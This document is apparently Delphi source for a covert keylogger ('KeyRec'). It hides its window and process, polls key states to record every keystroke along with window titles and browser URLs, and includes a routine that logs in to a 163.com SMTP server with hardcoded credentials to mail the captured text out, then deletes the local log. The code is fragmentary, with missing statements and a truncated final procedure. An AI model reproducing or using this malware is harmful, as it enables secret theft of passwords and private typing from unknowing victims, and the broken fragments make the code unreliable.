procedure TForm1.SendMail; var SMTP : TIdSMTP; MgeSend : TIdMessage; sBuffer : array[0..254] of char; cmpName : string; sSize: Cardinal; txtContent : string; str : string; F : textFile;
begin //发送邮件 sSize := 255; cmpName := 'KeyRec'; txtContent := '没有内容'; //获取电脑名称 if GetComputerName(@sBuffer, sSize) then begin cmpName := StrPas(@sBuffer); end;
SMTp := TIdSMTP.Create(nil); MGeSend := TIdMessage.Create(nil); try if FileExists(FtxtFileName) Then begin //读取内容 txtContent := ''; AssignFile(F,FtxtFileName);// Reset(F); while not Eof(F) do begin Readln(F,str); txtContent := txtContent + str; end; CloseFile(F); //tidattachment.Create(MgeSend.MessageParts,FileName); //带附件 end; if Trim(txtContent) = '' then begin Exit; end;
try SMTP.Host:='smtp.163.com'; smtp.Username:='yl52020_tmp@163.com'; smtp.Password:='9999999999'; Smtp.AuthenticationType := atLogin; smtp.Port:=25; if not smtp.Connected then begin smtp.Connect(); end;
end; if FileExists(FtxtFileName) Then begin DeleteFile(FtxtFileName) end; finally FreeAndNil(SMTP); FreeAndNil(MgeSend); end; end;
procedure TForm1.Timer_keyrecTimer(Sender: TObject); var i : byte; newCaption : string; hCurrentWindow : THandle; szText: array[0..254] of char; strOldWWWAdr : string; begin if self.Visible then begin self.Visible := False; ShowWindow(Application.Handle,SW_HIDE); //隐藏进程 MyHideProcess; end;
for i:=8 To 222 do begin if GetAsyncKeyState(i)=-32767 then begin //加载窗口标题 hCurrentWindow := getforegroundwindow; if hCurrentWindow <> 0 then begin If GetWindowText(hCurrentWindow, @szText, 255)> 0 Then begin if LastCaption <> Strpas(@szText) then begin Memo_gettxt.Text := Memo_gettxt.Text + '(' + Strpas(@szText) + ')'; end; LastCaption := Strpas(@szText); end; end; //如果是网页,加载网页地址 strOldWWWAdr := WWWAdr; EnumWindows(@EnumWindowsProc,0); if strOldWWWAdr <> WWWAdr then begin Memo_gettxt.Text := Memo_gettxt.Text + '{' + WWWAdr + '}'; end;
//Number 1234567890 Symbol !@#$%^&*() 48 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+')' else Memo_gettxt.text:=Memo_gettxt.text+'0'; 49 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'!' else Memo_gettxt.text:=Memo_gettxt.text+'1'; 50 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'@' else Memo_gettxt.text:=Memo_gettxt.text+'2'; 51 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'#' else Memo_gettxt.text:=Memo_gettxt.text+'3'; 52 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'$' else Memo_gettxt.text:=Memo_gettxt.text+'4'; 53 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'%' else Memo_gettxt.text:=Memo_gettxt.text+'5'; 54 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'^' else Memo_gettxt.text:=Memo_gettxt.text+'6'; 55 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'&' else Memo_gettxt.text:=Memo_gettxt.text+'7'; 56 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'*' else Memo_gettxt.text:=Memo_gettxt.text+'8'; 57 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'(' else Memo_gettxt.text:=Memo_gettxt.text+'9'; 65..90 : // a..z , A..Z begin if ((GetKeyState(VK_CAPITAL))=1) then if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)) //a..z else Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z else if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+UpperCase(Chr(i)) //A..Z else Memo_gettxt.text:=Memo_gettxt.text+LowerCase(Chr(i)); //a..z end; //Win // 91 : Memo_gettxt.text:=Memo_gettxt.text+'[LWin]'; // 92 : Memo_gettxt.text:=Memo_gettxt.text+'[RWin]'; //Numpad 96..105 : Memo_gettxt.text:=Memo_gettxt.text + inttostr(i-96); //Numpad 0..9 106:Memo_gettxt.text:=Memo_gettxt.text+'*'; 107:Memo_gettxt.text:=Memo_gettxt.text+'&'; 109:Memo_gettxt.text:=Memo_gettxt.text+'-'; 110:Memo_gettxt.text:=Memo_gettxt.text+'.'; 111:Memo_gettxt.text:=Memo_gettxt.text+'/'; 144 : Memo_gettxt.text:=Memo_gettxt.text+'[Num Lock]';
186 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+':' else Memo_gettxt.text:=Memo_gettxt.text+';'; 187 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'+' else Memo_gettxt.text:=Memo_gettxt.text+'='; 188 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'<' else Memo_gettxt.text:=Memo_gettxt.text+','; 189 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'_' else Memo_gettxt.text:=Memo_gettxt.text+'-'; 190 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'>' else Memo_gettxt.text:=Memo_gettxt.text+'.'; 191 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'?' else Memo_gettxt.text:=Memo_gettxt.text+'/'; 192 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'~' else Memo_gettxt.text:=Memo_gettxt.text+'`'; 219 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'{' else Memo_gettxt.text:=Memo_gettxt.text+'['; 220 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'|' else Memo_gettxt.text:=Memo_gettxt.text+'\'; 221 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'}' else Memo_gettxt.text:=Memo_gettxt.text+']'; 222 : if GetKeyState(VK_SHIFT)<0 then Memo_gettxt.text:=Memo_gettxt.text+'"' else Memo_gettxt.text:=Memo_gettxt.text+''''; end; end; end; end;
procedure TForm1.Timer_SaveTimer(Sender: TObject); var F : TextFile; begin Assignfile(F,FtxtFileName); if not FileExists(FtxtFileName) Then begin Rewrite(F); Closefile(F); End Else Assignfile(F,FtxtFileName); {$I-} Append(F); {$I+} If IOResult<> 0 Then Begin // ShowMessage('Cannot Open File'); End;